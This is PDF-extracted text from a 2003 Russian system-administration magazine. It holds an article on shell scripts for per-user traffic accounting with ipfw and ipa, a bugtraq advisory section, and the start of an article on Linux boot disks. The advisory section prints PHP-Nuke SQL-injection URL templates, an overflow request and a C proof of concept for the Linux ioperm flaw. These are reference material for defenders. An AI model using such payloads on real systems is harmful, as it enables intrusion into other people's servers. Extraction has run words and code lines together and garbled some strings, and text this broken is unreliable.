Основная содержательная часть скрипта уместиласьна трех строчках: текущее состояние сравнивается с пре-дыдущим с помощью diff, вывод которой фильтруется grepи сортируется в обратном порядке (так что сначала пой-дут строки с “-”, а затем “+”. Далее следует задержка нанесколько секунд, после чего сравнение повторяется. Имявременного файла выбирается один раз, файлы текуще-го и предыдущего состояния отличаются расширениями0 или 1. Перехват прерываний необходим для удалениявременных файлов по завершении работы.

В качестве источника данных о подключениях исполь-зуются сразу два скрипта: count_samba и count_pppd. Воз-можно, что для учета трафика пользователей, подключен-

#!/bin/sh

count_list="samba pppd"sleeptime=20TMPDIR="/var/tmp"

export TMPDIRtmpfile=`mktemp -q -u -t count` || exit 1

cleanup (){

rm -f $tmpfile.?}

trap : 1trap : 2trap : 15set -Ttrap "cleanup; exit" 1 2 15

bindir=$(dirname $0) || exit 1

count_eval=""for progname in $count_listdo

if [ $count_eval ] ; thencount_eval="$count_eval ; $bindir/count_$progname"

elsecount_eval="$bindir/count_$progname"

fidone

count_num=0touch $tmpfile.$count_num

while [ ! ]do

if ! ps $PPID >/dev/null 2>&1then

echo "Parent process died. Cleanup and exit.">&2

breakficount_old=$count_numtest $count_num -eq 1count_num=$?eval $count_eval | tee $tmpfile.$count_num \| diff -b -u $tmpfile.$count_old - \| grep "^[+-] [a-z]" | sort -rsleep $sleeptime

donecleanup

Page 41: 007 Системный Администратор 06 2003

39№6(7), июнь 2003

администрирование

ных через удаленный доступ, лучше было бы использо-вать сам pppd, но скрипт count_pppd – очень неплохой при-мер того, как просто использовать для получения спискапользователей не только samba, но и любое другое при-ложение, способное выдать такой список. В данном слу-чае это who, а адреса берутся из /etc/ppp/options.<ttyname>:

Предполагается, что в данном случае за каждым пор-том закреплен свой IP-адрес.

Для хранения временных файлов используется специ-альный каталог с правами 1777 («sticky» бит). Благодаряэтому биту только владелец файла, каталога или супер-пользователь может удалить или переименовать такойфайл. В качестве дополнительной меры безопасностинеобходимо позаботиться о том, чтобы никто не смог пре-дугадать имя временного файла. Именно эту задачу вы-полняет mktemp. Каталог выбирается в соответствии ссодержимым переменной TMPDIR. Ключ -q указывает невыводить сообщения об ошибках, в случае неудачи присоздании файла произойдет выход из скрипта с кодомзавершения 1. Ключ -t задает шаблон, к которому в каче-стве расширения добавляется случайная последователь-ность символов.

Способ, которым инициализируется переменнаяtmpfile, называется подстановкой – переменной присваи-вается вывод команды, заключенной в обратные кавыч-ки. Код завершения команды mktemp используется в даль-нейшем. Последовательность || здесь означает ИЛИ (непутать с регулярными выражениями). То есть если mktempзавершится неудачно, будет запущена вторая команда, вданном случае «exit 1».

Другой часто применяемый способ подстановки – ис-пользование конструкции «$()» вместо прямых кавычек.Здесь он используется для инициализации переменной«$bindir».

Код завершения – это число, которое равно нулю, еслипрограмма завершается успешно или больше нуля, еслинеудачно. Число это содержится в переменной «$?».

Явно эта переменная используется в скрипте, когданужно поменять местами номера 0 и 1. Проверка на экви-валентность (-eq) единице с помощью команды test даеттребуемое значение. Кстати, все ключи команды test яв-ляются аббревиатурами, что помогает их запомнить.

Код завершения – это именно то, на чем работают вскриптах все управляющие структуры. К примеру, в час-то встречающемся [ ] первая скобка – не что иное, какжесткая ссылка на test, а вторая скобка – завершающийпараметр этой программы, который работает, когда онавызывается именно как [. Команда [ может быть и встро-ена в оболочку, но сути дела это не меняет.

Таким образом, конструкцию [ ] или test используют

для анализа строк и числовых выражений, а во всех ос-тальных случаях используется непосредственно заверша-ющий код какой-либо программы. Более подробно об ис-пользовании test можно прочитать на соответствующейстранице руководства.

Отсюда следует важное отличие от C: если там «ис-тинным» в управляющих конструкциях считается выраже-ние больше нуля, то в скриптах это, напротив, нуль, по-скольку именно он является индикатором успешного за-вершения программы.

Вместе с тем синтаксис управляющих конструкций вцелом похож. Сильно отличается разве что цикл for, в ко-тором присутствует конструкция «variable in word ...», по-зволяющая одинаково легко пройтись по всем файламкаталога, заменив «word» на «*» (при этом «variable» пос-ледовательно принимает значение имени каждого фай-ла), или, как в нашем случае, перебрать все поля списка,записанного в переменную.

Выражение типа [ $string ] истинно, если строка не пу-стая. Цикл с [ ! ] в качестве параметра бесконечный, пре-рвать его можно командой break.

Пример непосредственного использования кода завер-шения программы – запуск ps с параметром номера ро-дительского процесса, $PPID. После остановки родитель-ского процесса (ps не может его найти) скрипт заверша-ется.

И наконец, eval служит здесь для объединения выво-да двух скриптов в один поток для последующей переда-чи tee, которая дублирует входной поток в указанный файли в выходной поток, который diff затем сравнивает с ра-нее сохраненным файлом, показывая только изменения.

В скрипте count_pppd список пользователей, получен-ный от who, преобразуется к виду «user ttyname», кото-рый затем в цикле передается read. Назначение read –считывать в переменные строки, разделителями полей вкоторых служат пробелы (или содержимое переменнойIFS, если она установлена).

Для того чтобы использовать такую переменную в awk,необходимо сначала присвоить ее значение внутреннейпеременной awk, конструкция user=$user означает имен-но это. Ключ -F меняет значение разделителя полей поумолчанию.

Несколько более сложная конструкция «if(substr($2,1,4)=="cuaa")» используется, чтобы выбрать пользо-вателей, зашедших по удаленному доступу. В данном слу-чае именно с помощью awk сделать это проще всего, тог-да как для grep потребовалось бы довольно сложное ре-гулярное выражение.

В качестве проверки каждый из приведенных скрип-тов можно запустить по отдельности, результаты своейработы они выдают на стандартный вывод. Скриптcount_user реализует требуемый протокол и отвечает навопросы «когда, кто, откуда». Это само по себе уже пред-ставляет некоторый интерес (не нужно анализироватьлоги отдельных приложений, чтобы ответить на этот воп-рос), но в первоначальной постановке задачи основнымвопросом было «сколько». Для ответа на этот вопрос не-достаточно просто добавить правила в таблицу ipfw, по-

#!/bin/shwho | awk '{if(substr($2,1,4)=="cuaa")↵printf("%s %s\n",$1,$2)}' | while read user ttynamedo

grep ":" /etc/ppp/options.$ttyname \| awk -F: '{printf(" %s %s\n",user,$2)}' user=$user

done

Page 42: 007 Системный Администратор 06 2003

40

администрирование

требуется организовать взаимодействие между ipfw и ipa.В простейшем случае направление подсчета будет

только одно, а значит, достаточно одного правила ipa содним правилом ipfw внутри (их может быть и больше)на одного пользователя. Очень часто это направлениеподсчета – входящий трафик из внешней сети к пользо-вателю (количество выкачанных страничек, музыки ипроч.).

В расчете на одного пользователя эта часть конфи-гурации ipa получится такой:

Номер около 32000 взят неслучайно. Всего в ipfw мо-жет быть до 65535 правил (последнее – всегда правилопо умолчанию) и этот номер находится примерно посе-редине таблицы.

Скрипт, организующий взаимодействие между ipfwи ipa, в основном выполняет следующую функцию: со-поставление имени пользователя (а значит, и имениправила ipa) с номером правила ipfw. Поскольку кон-фигурация ipa содержит такое сопоставление, логичнопроизводить его на основе этой конфигурации, то естьна ее основе при известном имени пользователя полу-чать его номер.

Назовем этот скрипт count_gate.От скрипта, собирающего данные о пользователях,

они в цикле передаются read через канал, к которому

можно подключить этот скрипт как непосредственно, таки через tcp-клиент. Способ подключения определяет пе-ременная «$connect».

Имя скрипта, ответственного за добавление/удалениеправил, определяет переменная «$count_fw», а скрипта,осуществляющего взаимодействие с системой учета тра-фика переменная «$count_prog». В нашем случае этоскрипты count_ipfw и count_ipa. Последний, запущенныйс параметрами $action и $username, выдает номер прави-ла, которое затем в качестве одного из параметров пере-дается скрипту count_ipfw.

Переменная $$ содержит номер процесса скрипта. Призапуске скрипт записывает ее значение в файл /var/run/count.pid. Встроив проверку на соответствие этого значе-ния реально работающему процессу, можно предотвра-тить запуск более одного процесса count_user.

Прежде чем передавать данные на обработку скрип-там count_ipa и count_ipfw, с помощью grep производитсяпроверка на соответствие определенному шаблону. По-лучаемым данным не всегда можно доверять, особенноесли они передаются по сети с другого сервера. Тем бо-лее, что все действия на стороне шлюза во внешнюю сетьпроизводятся под root (необходимо для добавления/уда-ления правил ipfw).

Собранные данные вместе с датой и временем запи-сываются в лог-файл.

Скрипт count_ipa, получив имя пользователя, долженвыдать номер правила ipfw. Задача эта не самая простая,но ее можно сильно облегчить, если наложить на файлконфигурации некоторые ограничения. Во-первых, выде-лить файл конфигурации пользователей в отдельныйфайл и подключить его соответствующей директивой:

Во-вторых, на каждого пользователя должно прихо-диться по три строки, а номера правил должны последо-вательно возрастать на 1 с каждым правилом.

Два последних ограничения довольно необычны, ночтобы их снять, потребовалось бы существенно усложнитьскрипт. Соблюдать же их просто: достаточно не редакти-ровать файл вручную, а предоставить это скрипту:

rule username {ipfw = 32001

}

#!/bin/shbindir=$(dirname $0) || exit 1

connect="$bindir/count_user"#connect="$bindir/count_client 192.168.0.1 27777"count_fw=ipfwcount_prog=ipacount_startnum=32000logfile="/var/log/utcount.log"

export count_startnum

if [ -f /var/run/count.pid ] && ps `cat /var/run/count.pid`>/dev/null 2>&1

thenecho "Another count process already run. Stop it and try

again." >&2exit 1

fi

trap : 1trap : 2trap : 15set -Ttrap "rm -f /var/run/count.pid; exit" 1 2 1

echo -n $$ > /var/run/count.pid || exit 1

$connect | while read action username addressdo

if echo "$action $username $address" \| grep -E -v -q "^[+-] [a-z].* ([0-9]{1,3}\.){3}[0-

9]{1,3}$"then

continuefiusernum=`$bindir/count_$count_prog $action $username`$bindir/count_$count_fw $action $usernum $addressecho "[`date '+%d.%m.%y %H:%M'`] $action $username

$address $usernum" \>> $logfile

done

include {file(?) = /usr/local/etc/ipa.users

}

#!/bin/sh

ipa_users="/usr/local/etc/ipa.users"username_prefix="_"

action=$1 ; username=$2

ipa_add_user (){

username=$1 ; usernum=$2printf "rule $username_prefix$username {\n\tipfw =

$usernum\n}\n" \>> $ipa_users

if [ -r /var/run/ipa.pid ] ; thenkill -HUP `cat /var/run/ipa.pid` >/dev/null 2>&1sleep 5

fi}

Page 43: 007 Системный Администратор 06 2003

41№6(7), июнь 2003

администрирование

Если файл конфигурации еще не существует, он со-здается и добавляется правилом с номером«$count_startnum + 1». Если же файл существует, то про-исходит проверка на наличие в нем пользователя с име-нем «$username», и в случае, если такой пользовательесть, выбирается имя соответствующего правила. Еслипользователя нет, он добавляется с номером правила, вы-численным на основе числа строк в файле (очень просто,но именно это накладывает описанные выше ограниче-ния). Переменная $username_prefix добавляется в файлконфигурации перед именем пользователя, то есть еслиона равна «_», то название правила изменится с usernameна _username, что существенно облегчит выборку и сор-тировку результатов подсчета трафика командой ipastat.

Непосредственное взаимодействие с ipa производит-ся в двух случаях: когда добавляются пользователи, ipaпосылается сигнал HUP, а когда правило удаляется изтаблицы ipfw, происходит сброс накопленной информациикомандой «ipa -k dump».

В приведенном только что скрипте главное – не запу-таться в переменных. Скрипту в качестве параметров пе-редаются «$action $username», которые внутри него ста-новятся соответственно $1 и $2. Так же ведет себя функ-ция ipa_add_user, которая располагает переданные «$2$usernum» в порядке поступления, $1 и $2. Внутренниепеременные awk обозначаются так же, но содержат полявходного потока. Чтобы частично устранить путаницу,сначала переменным даются соответствующие алфавит-ные имена, а затем уже они используются по назначению.

Функция printf позволяет форматировать текст при вы-воде, например добавлять в строку переносы «\n». Ком-бинация команд grep, head и tail, где для первой номерстроки вычисляется с помощью expr, позволяет выделитьиз файла одну строку, из которой awk выделяет номерправила. В другом варианте (правила еще нет) количе-ство строк в имеющемся файле подсчитывает команда«wc -l».

Как только получен номер правила, остается лишьдобавить его в таблицу ipfw. Всевозможные проблемы

несовместимости уже имеющегося набора правил и тогонабора, что модифицируются скриптом count_ipfw, про-являются именно на этом этапе. Написать сразу что-тоболее-менее универсальное практически невозможно,поэтому скрипт рассчитан только на один стандартный типнастройки ipfw: OPEN.

Для этого нужно указать в /etc/rc.conf:

Кстати, если в вашем ядре еще нет поддержки ipfw,совсем необязательно его перекомпилировать. Достаточ-но загрузить соответствующий модуль, и чтобы загрузкавыполнялась автоматически при каждом старте системы,добавить соответствующую строку в /boot/loader.conf (запримерами – в /boot/defaults/loader.conf). Если эти мани-пуляции производятся на удаленном сервере, не забудь-те о мерах предосторожности.

Команда «ipfw show» при настройках ядра (или моду-ля) по умолчанию покажет следующее:

Настройка «OPEN» предполагает добавление прави-ла 65000, разрешающего все всем, так что неважно, скакими параметрами по умолчанию (правило 65535) со-бран ipfw.

Поиск совпадений в таблице ipfw прекращается сразупосле первого же совпадения с правилом deny или allow.Этим можно воспользоваться, чтобы отфильтровать тра-фик от самого шлюза во внешнюю сеть к пользователям(правило 32000):

В результате запуска count_gate таблица ipfw приоб-ретает такой вид:

if [ -f $ipa_users ] ; thenstartline=`grep -n "^rule $username_prefix$username "

$ipa_users \| awk -F: '{print $1}'`

if [ $startline ] ; thenusernum=`head -n $(expr $startline + 1) $ipa_users

\| tail -n 1 | awk -F= '{print $2}'`

elseusernum=`expr $count_startnum + $(wc -l <

$ipa_users) / 3 + 1`ipa_add_user $username $usernum

fielse

usernum=`expr $count_startnum + 1`ipa_add_user $username $usernum

fi

if [ "$action" = "-" ] ; then/usr/local/sbin/ipa -k dump >/dev/null 2>&1

fi

echo $usernum

firewall_enable="YES"firewall_type="OPEN"

# ipfw show00100 0 0 allow ip from any to any via lo000200 0 0 deny ip from any to 127.0.0.0/800300 0 0 deny ip from 127.0.0.0/8 to any65000 0 0 allow ip from any to any65535 0 0 deny ip from any to any

#!/bin/sh

fwcmd="/sbin/ipfw"usernum=$2 ; address=$3

case $1 in+)

action=addif ! $fwcmd show $count_startnum >/dev/null 2>&1 ; then

$fwcmd $action $count_startnum allow ip from meto any

fi

if ! $fwcmd show $usernum 2>/dev/null | grep -q $addressthen

$fwcmd $action $usernum count ip from any to$address

fi;;

-)action=delete$fwcmd $action $usernum count ip from any to $address;;

*)exit 1;;

esac

Page 44: 007 Системный Администратор 06 2003

42

администрирование

Конечно, можно вместо «count» написать «allow», и до-бавить примерно такое правило:

В таком случае воспользоваться доступом к внешнейсети смогут только авторизованные пользователи. Нобудьте готовы к тому, что при любом сбое (ошибки в скрип-те, неверный алгоритм...) могут начаться проблемы.

Команда «ipfw show» – неплохое средство диагности-ки. Во второй колонке содержится количество попавшихпод правило пакетов, а в третьей – количество байт (сра-зу после запуска обе могут быть пусты). В скриптеcount_ipfw также используется эта команда, для того что-бы выяснить, существует ли соответствующее правило.

Взаимодействие скриптов может быть представленона такой схеме:

Список слева можно расширить. Первое, что потребу-ется добавить, – скрипт, выдающий статический списокимен пользователей и адресов, не входящих ни в доменSamba, ни в список пользователей удаленного доступа.Связка «ipfw + ipa» может быть заменена на любую дру-гую, выполняющую аналогичные функции.

Таким образом, вся система учета основана на двух«каркасных» скриптах, в значительной мере абстрагиро-ванных от конкретных приложений. Общаться по выбран-ному протоколу эти скрипты могут как непосредственно,так и через tcp-клиент. В первом случае запускаемыйcount_gate запускает, в свою очередь, count_user, во вто-ром он запускает count_client, который соединяется с сер-вером count_user.

Сервер не сложно организовать на основе inetd, по-требуется добавить в /etc/services:

И в /etc/inetd.conf примерно такую строку:

После перезапуска inetd, который выполняется коман-дой «killall -HUP inetd», сервер заработает. Порт 27777выбран произвольно.

Стандартный сервер inetd предоставляет упрощенныйспособ создания собственных серверов без написаниясетевого кода. В данном случае скрипт использует стан-дартный вывод, как обычно, а данные через открытыйinetd-сокет передаются по сети.

Клиент можно использовать любой, например, telnetили nc, установленный из пакета netcat. Его же, кстати,можно использовать в качестве сервера. Еще лучше по-дойдет клиент, который отслеживает состояние роди-тельского процесса и завершает работу в случае егоотсутствия (то же самое делает count_user в случае,когда его локально запускает count_gate). Это помога-ет избежать проблем с лишними процессами после ос-тановки count_gate.

Для корректного подсчета трафика очень важно пра-вильно настроить ipa. Подробные рекомендации по на-стройке находятся по адресу http://ipasystem.sourceforge.net/, в том числе на русском. Наиболее важные парамет-ры, которые необходимо установить, находятся в секцииglobal. Вот пример файла /usr/local/etc/ipa.conf:

Скрипт в start/stop стиле, соответствующий tcp-клиент,а также все входящие в пакет скрипты можно найти поадресу http://utcount.sourceforge.net/. На момент написа-ния статьи последняя версия пакета 0.04.

60000 0 0 deny ip from any to 192.168.0.0/24

global {maxchunk = 1Gupdate_db_time = 1mappend_db_time = 30m

}

include {file(?) = /usr/local/etc/ipa.users

}

---------------------------| samba, pppd, ... | user | --> +/- user address -->------------------------------------------------| gate | ipfw + ipa |---------------------

00100 0 0 allow ip from any to any via lo000200 0 0 deny ip from any to 127.0.0.0/800300 0 0 deny ip from 127.0.0.0/8 to any32000 0 0 allow ip from me to any32001 0 0 count ip from any to 192.168.0.16732002 0 0 count ip from any to 192.168.0.17465000 0 0 allow ip from any to any65535 0 0 deny ip from any to any

count 27777/tcp

count stream tcp nowait ↵nobody /usr/local/bin/count_user count

Page 45: 007 Системный Администратор 06 2003

Удаленное выполнение произвольногокода в AnalogX ProxyПереполнение буфера обнаружено в AnalogX Proxy. Уда-ленный пользователь может выполнить произвольный кодна целевой системе.

Network Intelligence India сообщает, что удаленныйпользователь может представить URL, который содержитболее 340 символов, чтобы вызвать переполнение буфе-ра в прокси-сервере.

Согласно сообщению, Proxy принимает подключенияна всех интерфейсах в конфигурации по умолчанию. Уда-ленный пользователь может подключиться к 6588 и пред-ставить специально обработанный URL, чтобы выполнитьпроизвольный код на прокси-сервере с административны-ми привилегиями.

Уязвимость обнаружена в AnalogX Proxy 4.13.

Выполнение произвольного кодав Adobe Acrobat при чтениизлонамеренного PDF-файлаУязвимость обнаружена в полной версии Adobe Acrobat.Удаленный пользователь может создать злонамеренныйPDF-файл, чтобы выполнить произвольный код на целе-вой системе пользователя.

Когда злонамеренный PDF-файл загружен в AdobeAcrobat целевого пользователя, произвольный код будетустановлен на целевой системе пользователя и будет вы-полнен во время следующей загрузки Acrobat.

Бесплатная версия Acrobat Reader неуязвима.

Уязвимость обнаружена в механизме обработкиJavascript-кода. Удаленный пользователь может сконст-руировать злонамеренный PDF-документ, чтобы записатькод в Plug-ins папку целевого пользователя. Соответствен-но отформатированные файлы в этой папке автоматичес-ки устанавливаются и выполняются при запуске Acrobat.

Сообщается, что уже существует вирус, способный эк-сплуатировать эту уязвимость.

Уязвимость обнаружена в Adobe Acrobat (Full Version)5.0-5.0.5.

Уязвимость в ioperm() позволяетлокальному пользователю обращатьсяк привилегированным I/O-портамУязвимость обнаружена в ядре Linux 2.4 в системном вы-зове 'ioperm'.

Сообщается, что локальный пользователь может полу-чить доступ на чтение и запись к привилегированным I/O-портам (например, к портам 1023 и ниже). Пример: про-грамма позволяет непривилегированному пользователючитать и записывать в I/O-порты с адресом ниже 0x3ff (1023):

Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2.

#include#include#include

int main(int argc, char **argv)

if (argc < 2) { (void) fprintf(stderr, "Usage: %s PORT

[VALUE]\n", argv[0]); return (2); }

if (ioperm(1023, 1, 0) == -1) { perror("ioperm"); return (1); }

if (argc < 3) { (void) printf("0x%02x\n",

inb(atoi(argv[1]))); } else { outb(atoi(argv[2]), atoi(argv[1])); }

return (0);

Составил Александр Антипов

SQL-инъекция в нескольких модуляхв PHP-NukeНесколько уязвимостей обнаружено в PHP-Nuke. Удален-ный пользователь может выполнить произвольныеSQL-команды на связанной базе данных, а также нару-шить работу базы данных.

Сообщается, что удаленный пользователь может скон-струировать специально обработанный URL, чтобы выпол-нить произвольные SQL-команды на связанной базе дан-ных. Уязвимы следующие переменные:

Пример:

Также сообщается, что удаленный пользователь мо-жет нарушить работу целевого сервера базы данных.Пример:

Уязвимость обнаружена в PHP-Nuke 5.5, 6.0, 6.5.

'secid' â ìîäóëå Sections'sid' â ìîäóëå AvantGo'pollID' â ìîäóëå Surveys'cid' â ìîäóëå Downloads'id' â ìîäóëå Reviews'cid' â ìîäóëå Web_Links

http://[target]/modules.php?name=Sections&op=listarticles&secid=`[YOUR QUERY]http://[target]/modules.php?name=Sections&op=viewarticle&artid=`[YOUR QUERY]http://[target]/modules.php?name=Sections&op=printpage&artid==`[YOUR QUERY]http://[target]/modules.php?name=AvantGo&file=print&sid=`[YOURQUERY]http://[target]/modules.php?name=Surveys&pollID=`[YOUR QUERY]http://[target]/modules.php?name=Surveys&op=results&pollID=`[YOURQUERY]&mode=&order=0&thold=0http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=` [YOUR QUERY]http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=`[YOURQUERY]&orderby=titleDhttp://[target]/modules.php?name=Reviews&rop=showcontent&id=`[YOUR QUERY]http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=`[YOUR QUERY]http://[target]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=`[YOURQUERY]&ratetype=numhttp://[target]/modules.php?name=Downloads&ratinglid=[FILE TORATE]&http://[target]/modules.php?name=Web_Links&ratinglid=96&ratinguser=?&ratinghost_name=?&rating=99999999999999999999999 9999999999

http://[target]/modules.php?name=Downloads&ratinglid=[FILE TORATE]&ratinguser=?

&ratinghost_name=?&rating=99999999999999999999999999999999999999999999999999999999999999999999999

bugtraq

43№6(7), июнь 2003

Page 46: 007 Системный Администратор 06 2003

44

администрирование

СОЗДАНИЕЗАГРУЗОЧНЫХ ДИСКЕТИ CD-ДИСКОВ LINUX

Page 47: 007 Системный Администратор 06 2003

45№6(7), июнь 2003

администрирование

Для чего применяются «микро-дистрибутивы»? Примеровприменения можно найти море:� аварийная дискета;� маршрутизатор (www.linuxrouter.org);� брандмауэр;� бездисковый клиент NFS;� утилита для клонирования системы;� система для контроля дисковых разделов;� смена «забытого» пароля;� система, предназначенная для обучения новичков;� набор для комфортной работы на любом компьютере;� сервер печати;� любой сетевой сервер.

На самом деле этот список можно продолжать беско-нечно, т.к. существует множество ситуаций, когда необ-ходима мобильность системы и возможность запуска ваварийных ситуациях. Большинство современных дист-рибутивов поставляется с аварийной консолью, помога-ющей справиться с проблемами.

На сайте www.linuxlinks.com можно найти огромное ко-личество ссылок на различные виды мини-дистрибутивов,каждый из которых предназначен для решения опреде-лённых задач. Но я не думаю, что каждый готов выкачи-вать мегабайты из сети, чтобы решить свою конкретнуюпроблему. Кроме этого, весьма полезно иметь под рукоймульти-загрузочный CD, содержащий несколько мини-ди-стрибутивов на одном диске. Обо всем этом вы можетеузнать, прочитав эту статью. Также хорошим источникоминформации является Bootdisk-HOWTO.

Перед созданием загрузочного диска необходимо чет-ко представлять цель, с которой этот диск создается, что-бы впоследствии не пожалеть о бесполезно затраченномвремени. Выбор ядра также должен определяться конеч-ной целью. В любом случае при выборе ядра учтите сле-дующие факты:� ядра 2.2 версий обычно меньше по размеру, но менее

функциональны;� ядро следует брать как можно новее (но обязательно

из стабильной ветки), например, на момент написанияэтой статьи я расцениваю «новыми» ядра 2.4.20 и 2.2.20и выше; новые ядра используют компрессию bzip2 идают выигрыш в размере;

� если не планируется работа с сетью, то отказ от ис-пользования TCP/IP дает очень существенный выиг-рыш в размере (до 300 Кб!);

� в ядро обязательно нужно включить поддержку ext2fsи ramdisk, если планируется загрузка ядра при помо-щи syslinux, то также необходимо включить поддерж-ку msdosfs;

� лучше всего выключить оптимизацию ядра под опре-деленный процессор, лучше всего будет оставитьi386;

� я не очень уверен насчет целесообразности использо-вания модулей, но если нужна максимальная перено-симость, то модули применять, конечно, можно;

� если вам необходим NFS-дистрибутив, то необходимоустановить поддержку nfs на странице настройки фай-ловых систем (в make menuconfig);

ВСЕВОЛОД СТАХОВ

В этой статье пойдет речь о созданиизагрузочных дискет и CD-дисков Linux,которые бывают полезны, а зачастую инеобходимы во многих ситуациях, начиная отбанального восстановления забытого пароляи заканчивая работой в качестве print-сервера.

Page 48: 007 Системный Администратор 06 2003

46

администрирование

CD, аварийное восстановление системы и т. д. Ядро длятаких дистрибутивов строится без особых ограничений кразмеру (т.к. в основном полноценное ядро занимает око-ло 1 Мб) и обязательно должно содержать TCP/IP и под-держку NFS (см. раздел filesystems в make menuconfig).После компиляции ядра (модули этого ядра должны бытьустановлены на NFS-раздел в соответствующий каталог)необходимо сформировать ext2fs на дискете:

Опция -N 300 говорит, что необходимо зарезервиро-вать место для 300 inode (хотя в данном случае это числоможно и уменьшить на порядок) для экономии места.

После формирования файловой системы записываемна дискету ядро:

После этого начинаем настройку lilo:

Несколько поясню значения параметров:� root=/dev/nfs – указывает ядру, что root-fs находится

на NFS-сервере;� nfsroot – параметр, указывающий ядру, где искать

nfsroot в виде:

� root-dir должна указываться как абсолютный путь на сер-вере (как это указано в /etc/exports на NFS-сервере);

� ip – настройки IP-протокола, в данном примере все на-стройки получаются от bootp-сервера, в общем слу-чае этот параметр выглядит таким образом:

если какое-либо поле не указывается, то просто ставит-ся :, например, для настройки статического IP (что при-годится для использования, например, в print-сервере):

Если используется автоконфигурирование IP при по-мощи bootp или rarp, то необходимо включить поддержкуэтих протоколов в ядре (IP: kernel level autoconfigurationна странице Networking options). В качестве bootp-серве-ра можно применять ISC dhcpd, но в директиве range дол-жно присутствовать ключевое слово dynamic-bootp (range

# mke2fs -N 300 /dev/fd0

# mount -t ext2fs -o rw /dev/fd0 /mnt/tmp# cp $KERNELSRC/arch/i386/boot/bzImage /mnt/tmp/vmlinuz# umount /dev/fd0

/tmp/lilo.conf.tmpboot=/dev/fd0prompttimeout=50compactvga=normalread-onlymenu-title=" NFS-distributive "image=/vmlinuz

label=linuxappend="root=/dev/nfs nfsroot=192.168.1.1:/exports/debian ↵

ip=::::nfs-client::bootp"

nfsroot=[<server-ip>:]<root-dir>[,<nfs-options>]

ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>: ↵<device>:<autoconf>

ip=192.168.1.102:192.168.1.1:192.168.1.1:255.255.255.0: ↵print-server:eth0:

� наконец, последний и самый важный совет – удаляйтеиз ядра все лишнее без сожаления, первыми канди-датами на удаление являются редкие устройства, зву-ковые карты, система netfilter и прочие полезности состраницы networking options, хотя если вы создаете nfs-дистрибутив, то от этого правила можно отойти, т.к.основная файловая система все равно будет находить-ся на удаленной машине, а ядро фактически в любомслучае влезает на дискету.

Каким образом будет грузиться ядро? Существует не-сколько способов загрузки ядра с дискеты:� ядро, будучи записанным на дискету, начиная с 0-го

сектора, распаковывается в память и запускается припомощи так называемого kernel loader, этот способ хо-рош своей быстротой и простотой реализации (фак-тически ядро записывается непосредственно на дис-кету без файловой системы), но при этом невозможнонепосредственно указывать параметры ядру, что неподходит для создания NFS-дистрибутивов;

� на дискете формируется обычная файловая системаext2, и ядро записывается непосредственно на фай-ловую систему, при этом возможно манипулированиес дискетой как с обычным ext2-томом, загрузка проис-ходит при помощи lilo, записанного на дискету (необ-ходимо формировать специальный конфигурационныйфайл для lilo, что будет объяснено далее), преимуще-ства такого способа в том, что при помощи lilo оченьпросто передавать ядру определённые параметры (чтонеобходимо для использования NFS в качестве root-устройства), недостаток – файловая система на дис-кете не сжата, поэтому создание root-fs на дискете ли-шено смысла, т.к. на несжатую систему весьма слож-но записать все необходимое;

� на дискете формируется msdosfs, и загрузка ядра про-исходит из msdos-программы syslinux, при таком спо-собе появляется возможность работы с такой диске-той в msdos (win*), сама root файловая система сжи-мается при помощи zip.

Самая большая проблема при создании floppy-дистри-бутивов – это формирование корневой файловой системы(которая обычно загружается в память). Корневая файло-вая система не находится на дискете в NFS-дистрибути-вах, что сильно облегчает создание загрузочной дискеты.Поэтому прежде чем говорить о создании дискет с авто-номной root-fs, я расскажу о создании NFS-дистрибутивов.

NFS-дистрибутивы содержат на дискете только ядро,которому при загрузке передается параметр nfsroot, по-казывающий, что root-fs находится на NFS-сервере. Ядромонтирует NFS и запускает init. Все операции ядра с root-fs происходят по протоколу rpc в открытом виде, что, ко-нечно, небезопасно. Поэтому не рекомендуется хранитьценные данные на NFS-разделах, особенно это касаетсяпаролей (для NFS-системы обязательно иметь особые па-роли, которые также полезно время от времени менять).NFS-системы довольно сильно нагружают сеть и годятсятолько для LAN. NFS-дистрибутивы полезны во многихслучаях: резервное копирование, клонирование, запись

Page 49: 007 Системный Администратор 06 2003

47№6(7), июнь 2003

администрирование

dynmaic-bootp 192.168.2.1 192.168.2.100), и для каждогоклиента bootp должна быть отдельная директива host:

Эта директива разрешает выдачу IP-адресов только оп-ределённым хостам.

Настройка сервера NFS также не должна вызвать осо-бых проблем. При компиляции ядра нужно включить под-держку nfs-сервера и установить программы mountd и nfsd.После этого необходимо выбрать каталог и установить тудаGNU/Linux. Вариантов может быть несколько: можно взятьжесткий диск, установить на него Gnu/Linux и примонтиро-вать в необходимый каталог на сервере, а можно простоскопировать все файлы с дискового мини-дистрибутива.

У нас, например, в качестве NFS-системы используетсяdebian. Далее необходимо отредактировать файл /etc/exports:

где:� /exports/debian – каталог, в котором расположена ос-

новная nfs-система;� nfs-client – имя хоста нашего мини-дистрибутива, оп-

ции rw и no_root_squash говорят о возможности мон-тирования этим клиентом этого каталога для записи ио том, что этот клиент может осуществлять доступ кданному каталогу от имени суперпользователя.

Далее необходимо запустить mountd и nfsd:

Можно проверить правильность их работы при помо-щи команд:

После этого завершаем построение нашего дистрибу-тива и записываем на дискету lilo.

Для начала необходимо скопировать загрузочный сек-тор lilo с жесткого диска на дискету:

также полезно будет скопировать конфигурационныйфайл lilo:

Опция -r говорит lilo о необходимости использовать дру-гой корневой каталог (в нашем случае дискету).

Некоторые, возможно, захотят защитить свою диске-ту паролем, хотя я не очень бы полагался на надежностьтакой защиты (изготовить свою дискету не составит тру-да), но все-таки опишу необходимые для этого настройкив lilo.conf:

На этом я завершаю описание построения NFS-дист-рибутива и перехожу к рассказу о создании автономныхдистрибутивов.

Основное отличие автономного дистрибутива от NFS-дистрибутива в том, что корневая файловая система ав-тономного дистрибутива расположена на дискете. Глав-ная проблема такого дистрибутива – небольшой объемдискеты. Поэтому приходится запаковывать root-fs длязаписи на дискету и распаковывать при загрузке ядра впамять. Такая схема позволяет уместить на дискету го-раздо больше информации и избежать другого неприят-ного недостатка дискеты (и в меньшей степени компакт-диска) – неспешности операций ввода/вывода.

Формирование корневой файловой системы – процесс,требующий определённых навыков, поэтому я более под-робно остановлюсь на этом этапе создания автономногодистрибутива.

